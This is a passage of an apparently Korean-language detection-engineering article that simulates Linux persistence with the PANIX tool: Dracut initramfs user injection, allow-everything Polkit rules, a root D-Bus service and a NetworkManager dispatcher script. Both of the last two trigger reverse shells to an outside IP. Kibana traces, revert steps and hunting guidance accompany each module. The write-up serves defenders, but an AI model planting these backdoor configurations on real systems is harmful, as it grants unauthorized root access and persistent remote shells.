먼저, 스크립트는 루트 파일 시스템(/sysroot)이 쓰기 가능한 상태인지 확인합니다. 이 검사가 완료되면 스크립트는 /etc/shadow, /etc/passwd, /etc/group 파일을 수동으로 수정하여 새 사용자를 계속 추가합니다. 이 환경에서는 grep 또는 sed와 같은 유틸리티를 사용할 수 없으므로, 이러한 스크립트는 기본 제공 셸 유틸리티에 의존한다는 점에 유의해야 합니다. 스크립트를 작성한 후, 실행 권한이 부여되면 이제 사용할 준비가 완료됩니다.

마지막으로 Dracut이 현재 활성화된 커널 버전에 대한 initramfs를 재구성하도록 호출됩니다.

dracut --force /boot/initrd.img-$(uname -r) $(uname -r)

이 단계가 완료되면 수정된 initramfs가 활성화되고, 머신을 재부팅하면 backdoor-user.sh 스크립트가 실행됩니다.

항상 그렇듯이 먼저 스냅샷을 찍고, 그다음 모듈을 실행합니다.

> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.

Discover에서 제공되는 문서도 살펴보세요.

PANIX Initramfs module execution visualized in Kibana - Dracut method
Kibana에서 시각화된 PANIX Initramfs 모듈 실행 - Dracut 메서드

실행 시, opensslsecret 비밀번호의 비밀번호 해시를 생성하는 데 사용됩니다. 그런 다음 디렉터리 구조 /usr/lib/dracut/modules.d/99panix가 생성되고, module-setup.shbackdoor-user.sh 스크립트가 생성되어 실행 권한이 부여됩니다. initramfs의 재생성이 완료되면 백도어가 심어진 것이며, 재부팅 시 활성화됩니다.

적용 범위를 살펴보겠습니다:

dracut initramfs 지속성을 다루는 탐지 및 엔드포인트 규칙

다음 revert 명령을 실행하여 PANIX에서 변경한 내용을 되돌릴 수 있습니다:

> ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

T1542 - Initramfs: Dracut을 통한 수정 헌팅

ES|QL 및 OSQuery를 사용하여 Dracut과 같은 도구의 사용과 관련된 의심스러운 활동에 집중함으로써 이 기법을 헌팅할 수 있습니다. 이 접근 방식에는 다음 사항에 대한 모니터링이 포함됩니다.

  1. 의심스러운 인수가 있는 드라컷 실행: 특히 비표준 인수를 사용하여 Dracut이 실행되어 initramfs 파일을 재생성하거나 수정하는 프로세스를 추적합니다. 이렇게 하면 무단으로 초기화 파일을 수정하려는 시도를 식별하는 데 도움이 됩니다.
  2. Dracut 모듈 생성 및/또는 수정: /lib/dracut/modules.d//usr/lib/dracut/modules.d/ 내의 변경 사항을 모니터링하여, 사용자 정의 및 시스템 전체 Dracut 모듈을 저장합니다. 여기서 무단 수정은 악의적인 기능을 지속하려는 시도를 나타낼 수 있습니다.
  3. 일반 커널 조작 지표: secureboot, kernel_info , 그리고 /boot/ 내의 파일 변경 모니터링과 같은 쿼리를 활용하여, Initramfs 악용과 관련될 수 있는 커널 및 부트로더 조작의 광범위한 징후를 탐지합니다.

Initramfs를 통한 지속성일반 커널 조작 헌팅 규칙을 위에 나열된 맞춤형 탐지 쿼리와 결합하여, T1542를 효과적으로 식별하고 대응할 수 있습니다.

T1543 - 시스템 프로세스 생성 또는 수정: PolicyKit

정책 키트(또는 폴킷) 는 Linux 시스템에서 권한 있는 작업을 관리하기 위한 권한 부여 프레임워크를 제공하는 시스템 서비스입니다. 시스템 전체 권한을 세밀하게 제어할 수 있으므로 권한이 없는 프로세스가 권한이 있는 프로세스와 안전하게 상호 작용할 수 있습니다. 시스템 서비스와 사용자 사이의 중개자 역할을 하는 Polkit은 사용자가 특정 작업을 수행할 수 있는 권한이 있는지 여부를 결정합니다. 예를 들어, 사용자가 전체 sudo 권한 없이 네트워크 서비스를 다시 시작하거나 소프트웨어를 설치할 수 있는지 여부를 관리합니다.

Polkit 권한 부여는 규칙, 작업 및 권한 부여 정책에 의해 관리됩니다:

  • 액션: 작업: XML 파일(.policy)에 정의되어 있으며, 다음과 같이 Polkit이 관리할 수 있는 작업을 지정합니다. org.freedesktop.systemd1.manage-units.
  • 규칙: JavaScript와 유사한 파일(.rules)은 특정 작업에 대한 권한 부여 방식을 결정합니다. 사용자 그룹, 환경 변수 등 기타 조건을 확인할 수 있습니다.
  • 권한 부여 정책: .pkla 파일은 작업에 대한 기본 권한 또는 사용자/그룹별 권한을 설정하여 인증이 필요한지 여부를 결정합니다.

Polkit에서 사용하는 구성 파일은 시스템에 있는 Polkit 버전과 활성화된 Linux 배포판에 따라 여러 위치에서 찾을 수 있습니다. 다음은 알아야 할 주요 위치입니다.

  • 작업 정의:
    • /usr/share/polkit-1/actions/
  • 규칙 정의:
    • /etc/polkit-1/rules.d/
    • /usr/share/polkit-1/rules.d/
  • 권한 정의:
    • /etc/polkit-1/localauthority/
    • /var/lib/polkit-1/localauthority/

Polkit .rules 파일은 특정 작업을 허용하거나 거부하는 로직을 정의합니다. 이러한 파일은 사용자 또는 프로세스가 작업을 실행할 수 있는지 여부를 유연하게 결정할 수 있도록 해 줍니다. 간단한 예를 들면 다음과 같습니다.

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.systemd1.manage-units" &&
        subject.isInGroup("servicemanagers")) {
        return polkit.Result.YES;
    }
    return polkit.Result.NOT_HANDLED;
});

이 규칙에서는

  • org.freedesktop.systemd1.manage-units 작업(systemd 서비스 관리)이 servicemanagers 그룹의 사용자에게 부여되었습니다.
  • 다른 작업은 기본 처리로 대체됩니다.

이 구조는 관리자가 사용자 정의 정책을 구현할 수 있게 하지만, 지나치게 허용적인 규칙을 삽입하여 무단 권한을 얻을 수 있는 공격자에게도 기회를 제공합니다.

현재 Polkit에는 MITRE ATT&CK 프레임워크에 전용 기술이 없습니다. 가장 일치하는 것은 T1543: 시스템 프로세스 생성 또는 수정으로, 공격자가 지속성 또는 권한 상승을 달성하기 위해 시스템 수준 프로세스를 수정하는 것을 설명합니다.

다음 섹션에서는 공격자가 악성 Polkit 규칙과 권한 부여 파일을 제작하고 배포하는 방법을 단계별로 살펴보면서, 탐지 및 완화 전략에 대해서도 다뤄보겠습니다.

T1543을 통한 지속성 - 시스템 프로세스 생성 또는 수정: PolicyKit

이제 이론을 이해했으니 setup_polkit.sh PANIX 모듈을 통해 실제로 이를 시뮬레이션하는 방법을 살펴봅시다. 먼저 모듈은 pkaction --version 명령을 통해 활성 Polkit 버전을 확인합니다. < 0.106 버전은 이전 .pkla 파일을 사용하고 최신 버전(>= 0.106)은 최신 .rules 파일을 사용하므로, 이 모듈은 명령을 통해 활성 버전을 확인합니다. 버전에 따라 모듈은 지나치게 허용적인 폴킷 정책을 계속 생성합니다. 버전 < 0.106의 경우 .pkla 파일이 다음 위치에 생성됩니다. /etc/polkit-1/localauthority/50-local.d/:

mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

Identity=unix-user:*Action=* 매개변수를 통해 모든 unix-user가 어떤 작업도 수행할 수 있도록 허용합니다.

버전 >= 0.106의 경우 .rules 파일이 다음 위치에 생성됩니다. /etc/polkit-1/rules.d/:

mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF

지나치게 허용적인 정책은 항상 polkit.Result.YES를 반환하며, 이는 Polkit의 인증이 필요한 모든 작업이 누구에게나 허용된다는 것을 의미합니다.

폴킷 규칙은 사전적(ASCII) 순서로 처리되므로 번호가 낮은 파일이 먼저 로드되고, 이후 규칙이 앞의 규칙을 재정의할 수 있습니다. 두 개의 규칙이 동일한 정책을 수정하는 경우 숫자가 더 높은 규칙이 마지막에 평가되므로 우선권을 갖습니다. 규칙이 실행되고 다른 규칙을 재정의하도록 하기 위해 PANIX는 99 으로 시작하는 파일명으로 규칙을 생성합니다(예. 99-panix.rules).

다음 명령줄 인수를 사용하여 PANIX 모듈을 실행해 보겠습니다.

> sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.

그리고 Kibana에서 로그를 확인합니다.

PANIX Polkit module execution visualized in Kibana
Kibana에서 시각화된 PANIX Polkit 모듈 실행

PANIX를 실행하면 .pkla 또는 .rules 파일 접근 방식이 필요한지 여부를 결정하기 위해 pkaction --version 명령이 실행되는 것을 볼 수 있습니다. 이를 파악한 후 올바른 정책이 생성되며, polkit 서비스가 다시 시작됩니다(항상 필요한 것은 아님). 이러한 정책이 적용되면 1000(루트 아님)의 user.Ext.real.id를 가진 사용자는 pkexec su - 명령을 실행하여 루트 권한을 얻을 수 있습니다.

그럼 탐지 기회를 살펴보겠습니다.

Polkit 지속성을 다루는 탐지 및 엔드포인트 규칙

변경 사항을 되돌리려면 다음을 실행하여 해당하는 되돌리기 모듈을 사용하면 됩니다.

> ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.

T1543 - 시스템 프로세스 생성 또는 수정: PolicyKit 헌팅

PolicyKit 구성 파일 및 규칙의 수정을 중심으로 의심스러운 활동을 탐지하기 위해 ES|QL 및 OSQuery를 사용하여 이 기술을 추적할 수 있습니다. 이 접근 방식에는 다음을 찾는 것이 포함됩니다:

  1. PolicyKit 구성 파일 생성 및/또는 수정: 사용자 지정 및 시스템 전체 규칙, 작업 설명 및 권한 부여 규칙이 포함된 중요 디렉터리의 변경 사항을 추적합니다. 이러한 경로를 모니터링하면 악의적인 활동을 나타낼 수 있는 무단 추가 또는 변조를 식별하는 데 도움이 됩니다.
  2. PolicyKit 파일의 메타데이터 분석: PolicyKit 관련 파일의 파일 소유권, 액세스 시간 및 수정 타임스탬프를 검사합니다. 무단 변경 또는 예기치 않은 소유권을 가진 파일은 PolicyKit을 통해 권한을 유지하거나 에스컬레이션하려는 시도를 나타낼 수 있습니다.
  3. 희귀하거나 비정상적인 이벤트 탐지: 프로세스 실행 및 파일 활동과의 상관관계를 분석하여 흔하지 않은 파일 수정 또는 생성 이벤트를 식별합니다. 이를 통해 미묘한 침해 징후를 파악할 수 있습니다.

분석가는 위에 나열된 맞춤형 탐지 쿼리와 PolicyKit을 통한 지속성 헌팅 규칙을 결합하여, T1543을 효과적으로 식별하고 대응할 수 있습니다.

T1543 - 시스템 프로세스 생성 또는 수정: D-Bus

D-Bus(Desktop Bus)는 Linux 및 기타 Unix 계열 운영 체제에서 널리 사용되는 프로세스 간 통신(IPC) 시스템입니다. 구조화된 메시지 버스로서 프로세스, 시스템 서비스, 애플리케이션이 통신하고 작업을 조정할 수 있도록 합니다. 최신 Linux 환경의 핵심 요소인 D-Bus는 시스템 전체 및 사용자별 통신을 위한 프레임워크를 제공합니다.

본질적으로 D-Bus는 메시지 송수신을 위한 표준화된 메커니즘을 제공하여 프로세스 간의 상호 작용을 촉진하고, 맞춤형 IPC 솔루션의 필요성을 제거하면서, 효율성과 보안을 향상합니다. 이는 두 가지 주요 커뮤니케이션 채널을 통해 운영됩니다.

  • 시스템 버스: 하드웨어 또는 네트워크 구성 관리와 같은 시스템 수준 서비스와 권한 있는 작업 간의 통신에 사용됩니다.
  • 세션 버스: 데스크톱 알림 또는 미디어 플레이어와 같은 사용자 수준 애플리케이션 간의 통신에 사용됩니다.

D-Bus 데몬은 메시지 버스를 관리하여 메시지가 프로세스 간에 안전하게 라우팅되도록 합니다. 프로세스는 고유한 이름으로 버스에 등록되며, 다른 프로세스가 상호 작용할 수 있도록 메서드, 신호, 인터페이스를 포함하는 속성을 제공합니다. D-Bus 통신의 핵심 구성 요소는 다음과 같습니다.

인터페이스:

  • 서비스가 제공하는 메서드, 신호, 속성 컬렉션을 정의합니다.
  • 예: org.freedesktop.NetworkManager 네트워크 연결을 관리하는 메서드를 제공합니다.

방법:

  • 외부 프로세스가 특정 작업을 호출하거나 정보를 요청할 수 있도록 허용합니다.
  • 예: org.freedesktop.NetworkManager.Reload 메서드를 호출하여 네트워크 서비스를 다시 로드할 수 있습니다.

신호:

  • 서비스에서 다른 프로세스에 이벤트에 대해 알리기 위해 보내는 알림입니다.
  • 예: 신호는 네트워크 연결 상태 변경을 나타낼 수 있습니다.

예를 들어, 다음 명령은 시스템 버스에 메시지를 보내 NetworkManager 서비스의 Reload 메서드를 호출합니다.

dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0

D-Bus 서비스는 기능을 제공하기 위해 버스에 등록하는 애플리케이션이나 데몬입니다. 요청된 서비스가 실행되고 있지 않은 경우, D-Bus 데몬은 사전 정의된 서비스 파일을 사용하여 이를 자동 시작할 수 있습니다.

이러한 서비스는 확장자가 .service 인 서비스 파일을 사용하여 D-Bus에 서비스 시작 방법을 알려줍니다. 그 예는 다음과 같습니다.

[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root

D-Bus 서비스 파일은 서비스가 시스템 전체에서 실행되는지 또는 사용자 수준에서 실행되는지, 그리고 아키텍처 및 Linux 배포판에 따라, 여러 위치에 있을 수 있습니다. 다음은 사용되는 위치에 대한 개요이며, 이는 완전한 목록이 아닙니다. 기본 위치는 배포판마다 다를 수 있습니다.

  1. 시스템 전반의 구성 및 서비스:
    • 시스템 서비스 파일:
      • /usr/share/dbus-1/system-services/
      • /usr/local/share/dbus-1/system-services/
    • 시스템 정책 파일:
      • /etc/dbus-1/system.d/
      • /usr/share/dbus-1/system.d/
    • 시스템 구성 파일:
      • /etc/dbus-1/system.conf
      • /usr/share/dbus-1/system.conf
  2. 세션 전체 구성 및 서비스:
    • 세션 서비스 파일
      • /usr/share/dbus-1/session-services/
      • ~/.local/share/dbus-1/services/
    • 세션 정책 파일
      • /etc/dbus-1/session.d/
      • /usr/share/dbus-1/session.d/
    • 세션 구성 파일
      • /etc/dbus-1/session.conf
      • /usr/share/dbus-1/session.conf

각 경로에 대한 자세한 정보는 여기에서 확인할 수 있습니다. XML로 작성된 D-Bus 정책은 D-Bus 서비스에 대한 액세스 제어 규칙을 정의합니다. 이러한 정책에서는 메시지 전송, 응답 수신 또는 특정 서비스 소유와 같은 작업을 누가 수행할 수 있는지 명시합니다. 이는 권한 있는 작업에 대한 액세스를 제어하고 서비스가 오용되지 않도록 막는 데 필수입니다. D-Bus 정책에는 몇 가지 주요 구성 요소가 있습니다.

  1. 컨텍스트:
  • 정책은 특정 사용자, 그룹 또는 기본 컨텍스트에 적용될 수 있습니다(default는 재정의되지 않는 한 모든 사용자에게 적용됩니다).
  1. 허용/거부 규칙:
  • 규칙은 메서드, 인터페이스 또는 서비스에 대한 액세스를 명시적으로 허용(allow)하거나 제한(deny)합니다.
  1. 단위 크기:
  • 정책은 여러 단계에서 액세스를 제어할 수 있습니다.
    • 전체 서비스(예: org.freedesktop.MyService).
    • 특정 메서드 또는 인터페이스(예: org.freedesktop.MyService.SecretMethod).

다음 예는 명확한 액세스 제한을 적용하는 D-Bus 정책을 보여줍니다.

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>

이 정책:

  1. 기본적으로 서비스 org.freedesktop.MyService에 대한 모든 액세스를 거부합니다.
  2. admin 그룹의 사용자에게 특정 인터페이스에 대한 액세스 권한을 부여합니다(org.freedesktop.MyService.PublicMethod).
  3. root 사용자에게 org.freedesktop.MyService 목적지에 대한 전체 액세스 권한을 부여합니다.

D-Bus는 IPC에서 중심적인 역할을 하기 때문에 공격자들에게 잠재적으로 흥미로운 표적이 될 수 있습니다. 잠재적인 공격 벡터는 다음과 같습니다.

  1. 악성 서비스 하이재킹 또는 등록:
    • 공격자는 .service 파일을 교체하거나 추가하여(예: /usr/share/dbus-1/system-services/ 에서) 합법적인 통신을 하이재킹하거나 악성 코드를 주입합니다.
  2. 과도한 허용 정책을 만들거나 악용하는 경우:
    • 취약한 정책(예: 모든 사용자에게 중요 서비스에 대한 사용자 액세스 권한 부여)은 공격자가 권한 있는 메서드를 호출할 수 있도록 허용할 수 있습니다.
  3. 취약한 서비스 악용:
    • D-Bus 서비스가 입력을 부적절하게 검증할 경우, 공격자는 임의의 코드를 실행하거나 무단 작업을 수행할 수 있습니다.

위의 예시는 권한 상승, 방어 회피, 지속성에 사용할 수 있습니다. 현재 D-Bus에 대한 특정 MITRE ATT&CK 하위 기술은 없습니다. 그러나 이러한 악용은 T1543: 시스템 프로세스 생성 또는 수정과 밀접하게 일치하며, T1574: 실행 흐름 하이재킹 파일이 수정되는 경우 .service과도 관련이 있습니다.

다음 섹션에서는 공격자가 루트 권한으로 리버스 연결을 보내는 지나치게 허용적인 D-Bus 구성을 설정하는 방법을 살펴보고, 이러한 동작을 탐지하는 접근 방식에 대해 다뤄보겠습니다.

T1543을 통한 지속성 - 시스템 프로세스 생성 또는 수정: D-Bus

지금까지 D-Bus 설정에 대해 모두 알아봤으니, 이제 setup_dbus.sh PANIX 모듈을 통해 이를 실제로 시뮬레이션하는 방법을 살펴볼 차례입니다. PANIX는 /usr/share/dbus-1/system-services/org.panix.persistence.service에 다음과 같은 컨텐츠로 D-Bus 서비스 파일을 생성하여 시작합니다.

cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF

이 서비스 파일은 org.panix.persistence 인터페이스에서 수신 대기하며 /usr/local/bin/dbus-panix.sh '서비스'를 실행합니다. dbus-panix.sh 스크립트는 호출될 때 리버스 셸 연결을 간단히 실행합니다.

cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF

어떤 사용자라도 인터페이스에 해당하는 작업을 호출할 수 있도록 PANIX는 다음 컨텐츠로 /etc/dbus-1/system.d/org.panix.persistence.conf 파일을 설정합니다.

cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
	"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
	<!-- Allow any user to own, send to, and access the specified service -->
	<policy context="default">
		<allow own="org.panix.persistence"/>
		<allow send_destination="org.panix.persistence"/>
		<allow send_interface="org.panix.persistence"/>
	</policy>
</busconfig>
EOF

이 구성은 모든 사용자 또는 프로세스가 org.panix.persistence 서비스를 소유하고, 메시지를 보내고, 상호 작용할 수 있도록 허용하는 D-Bus 정책을 정의하여 사실상 제한 없는 액세스를 부여합니다. dbus 서비스를 다시 시작하면 설정이 완료됩니다.

서비스와 상호 작용하려면 다음 명령을 사용할 수 있습니다.

dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

이 명령은 org.panix.persistence 서비스를 대상으로 /org/panix/persistence 개체에서 org.panix.persistence.Method 메서드를 호출하여 사실상 백도어를 트리거하는 메서드 호출을 D-Bus 시스템 버스로 보냅니다.

다음 명령줄 인수를 사용하여 PANIX 모듈을 실행해 보겠습니다.

> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

dbus-send 명령을 실행할 때:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Kibana의 문서를 살펴보겠습니다.

PANIX D-Bus module execution visualized in Kibana
Kibana에서 시각화된 PANIX D-Bus 모듈 실행

PANIX가 실행되면 org.panix.persistence.service, dbus-panix.sh , org.panix.persistence.conf 파일이 생성되어 성공적으로 스테이지를 설정합니다. 그 후, dbus 서비스가 재시작되고, org.panix.persistence 서비스와 상호 작용하기 위해 dbus-send 명령이 실행됩니다. org.panix.persistence.Method 메서드를 호출하면 dbus-panix.sh 백도어가 실행되고, 리버스 셸 연결 체인(dbus-panix.shnohupsetsidbash)이 시작됩니다.

그럼 탐지 기회를 살펴보겠습니다.

D-Bus 지속성을 다루는 탐지 및 엔드포인트 규칙

변경 사항을 되돌리려면 다음을 실행하여 해당하는 되돌리기 모듈을 사용하면 됩니다.

> ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.

T1543 - 시스템 프로세스 생성 또는 수정: D-Bus 헌팅

ES|QL 및 OSQuery를 사용하여 D-Bus 관련 파일, 서비스, 프로세스의 사용 및 수정과 관련된 의심스러운 활동에 집중함으로써 이 기법을 헌팅할 수 있습니다. 이 접근 방식에는 다음 사항에 대한 모니터링이 포함됩니다.

  1. D-Bus 구성 및 서비스 파일 생성 및/또는 수정: 시스템 전체 및 세션 서비스 파일, 정책 파일과 같은 중요 디렉터리의 변경 사항을 추적합니다. 이러한 경로를 모니터링하면 D-Bus를 대상으로 하는 악의적인 활동을 나타내는 무단 추가 또는 수정을 탐지하는 데 도움이 됩니다.
  2. D-Bus 파일의 메타데이터 분석: D-Bus 구성 파일의 파일 소유권, 마지막 액세스 시간, 수정 타임스탬프를 검사합니다. 이를 통해 무단 변경이나 예기치 않은 파일의 존재를 파악할 수 있으며, 이는 D-Bus를 통해 지속하려는 시도를 나타낼 수 있습니다.
  3. 의심스러운 프로세스 탐지: D-Bus 통신의 주요 구성 요소인 dbus-daemon, dbus-send와 같은 프로세스의 실행을 모니터링합니다. 명령줄, 상위 프로세스, 실행 횟수를 추적함으로써 비정상적인 사용이나 무단 사용을 식별할 수 있습니다.
  4. 희귀하거나 비정상적인 이벤트 탐지: 엔드포인트 전반의 이벤트 데이터를 상호 연관시켜 흔하지 않은 파일 수정이나 프로세스 실행을 식별합니다. 이는 중요한 D-Bus 구성의 드문 변경이나 예기치 않은 D-Bus 명령의 사용과 같은 미묘한 손상 징후를 강조합니다.

분석가는 Persistence via Desktop Bus (D-Bus) 헌팅 규칙을 위에 나열된 맞춤형 탐지 쿼리와 결합하여, T1543을 효과적으로 식별하고 대응할 수 있습니다.

T1546 - 이벤트 트리거형 실행: NetworkManager

NetworkManager는 Linux 시스템에서 네트워크 연결을 관리하는 데 널리 사용되는 데몬입니다. 유선, 무선, VPN 등 기타 네트워크 인터페이스를 구성할 수 있으며, 확장 가능한 모듈식 설계를 제공합니다. 덜 알려졌지만 강력한 기능 중 하나는 네트워크 이벤트에 대한 응답으로 스크립트를 자동 실행할 수 있는 방법을 제공하는 디스패처 기능입니다. 특정 네트워크 이벤트가 발생할 때(예: interface가 활성화되거나 비활성화될 때), NetworkManager는 이 디렉터리에 있는 스크립트를 호출합니다. 이 스크립트는 루트로 실행되어 매우 높은 권한을 가집니다.

  • 이벤트 유형: NetworkManager는 다음과 같은 특정 이벤트를 스크립트에 전달합니다:
    • up: 인터페이스가 활성화됩니다.
    • down: 인터페이스가 비활성화됩니다.
    • vpn-up: VPN 연결이 설정됩니다.
    • vpn-down: VPN 연결이 끊어집니다.

/etc/NetworkManager/dispatcher.d/에 배치된 스크립트는 표준 셸 스크립트이며, 실행 가능하도록 표시되어야 합니다. 다음은 디스패처 스크립트의 예입니다.

#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi

네트워크 인터페이스가 활성화되거나 비활성화될 때마다 이벤트를 로깅하고 명령을 실행합니다.

이 기법을 통해 지속성을 달성하기 위해 공격자는 다음 두 가지 방법 중 하나를 사용할 수 있습니다:

  • 사용자 정의 스크립트를 생성하고, 실행 가능하도록 표시한 후, 디스패처 디렉터리에 배치합니다.
  • 정상적인 디스패처 스크립트를 수정하여 특정 네트워크 이벤트 발생 시 페이로드를 실행하도록 합니다.

dispatcher.d/를 통한 지속성은 MITRE ATT&CK 프레임워크의 T1546: 이벤트 트리거형 실행T1543: 시스템 프로세스 생성 또는 수정과 일치합니다. 그러나 NetworkManager 디스패처 스크립트에는 자체 하위 기술이 없습니다.

다음 섹션에서는 디스패처 스크립트를 지속성을 위해 어떻게 악용할 수 있는지 알아보고, 효과적인 탐지 엔지니어링을 지원하기 위해 프로세스 흐름을 시각화하는 방법을 살펴보겠습니다.

T1546 - 이벤트 트리거형 실행을 통한 지속성

이 기술의 개념은 매우 간단합니다. 이제 setup_network_manager.sh PANIX 모듈을 통해 실습해 보겠습니다. 모듈은 NetworkManager 패키지가 사용 가능한지, /etc/NetworkManager/dispatcher.d/ 경로가 존재하는지를 확인합니다. 이는 기술이 작동하기 위한 필수 조건입니다. 다음으로 /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh 아래에 페이로드가 끝에 있는 새로운 디스패처 파일을 생성합니다. 마지막으로 디스패처 파일에 실행 권한을 부여하면 활성화할 준비가 완료됩니다.

cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
	exit 0
fi

if [ -z "$1" ]; then
	echo "$0: called with no interface" 1>&2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"

위 모듈에서 가장 관련성이 높은 스니펫만 포함했습니다. 더 자세히 알아보고 싶다면 모듈 소스 코드를 확인해 보세요.

다음 명령줄 인수를 사용하여 PANIX 모듈을 실행해 보겠습니다.

> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh

이제 새로운 네트워크 이벤트가 트리거될 때마다 페이로드가 실행됩니다. 이 작업은 NetworkManager 서비스나 인터페이스를 재시작하거나, 재부팅을 통해 수행할 수 있습니다. Kibana의 문서를 살펴보겠습니다.

PANIX network-manager module execution visualized in Kibana
Kibana에서 시각화된 PANIX 네트워크 관리자 모듈 실행

PANIX 실행 시 panix-dispatcher.sh 스크립트가 생성되어 실행 파일로 표시되고 sed 을 사용하여 스크립트 하단에 페이로드를 추가합니다. NetworkManager을 통해 systemctl 서비스를 다시 시작하면 nm-dispatcherpanix-dispatcher.sh 스크립트를 실행하여 리버스 셸 체인을 효과적으로 폭파하는 것을 볼 수 있습니다(panix-dispatcher.shnohup). → → setsidbash).

마지막으로 탐지 기회에 대해 살펴보겠습니다.

네트워크 관리자 지속성을 다루는 탐지 및 엔드포인트 규칙

변경 사항을 되돌리려면 다음을 실행하여 해당하는 되돌리기 모듈을 사용하면 됩니다.

> ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.

T1546 - 이벤트 트리거형 실행: NetworkManager 헌팅

ES|QL 및 OSQuery를 사용하여 NetworkManager 디스패처 스크립트의 생성, 수정, 실행과 관련된 의심스러운 활동에 집중함으로써 이 기법을 헌팅할 수 있습니다. 이 접근 방식에는 다음 사항에 대한 모니터링이 포함됩니다.

  1. 디스패처 스크립트 생성 및/또는 수정: /etc/NetworkManager/dispatcher.d/ 디렉터리 내의 변경 사항을 추적합니다. 새로운 스크립트나 변경된 스크립트를 모니터링하는 것은 악의적인 의도를 나타낼 수 있는 무단 추가 또는 수정을 감지하는 데 도움이 됩니다.
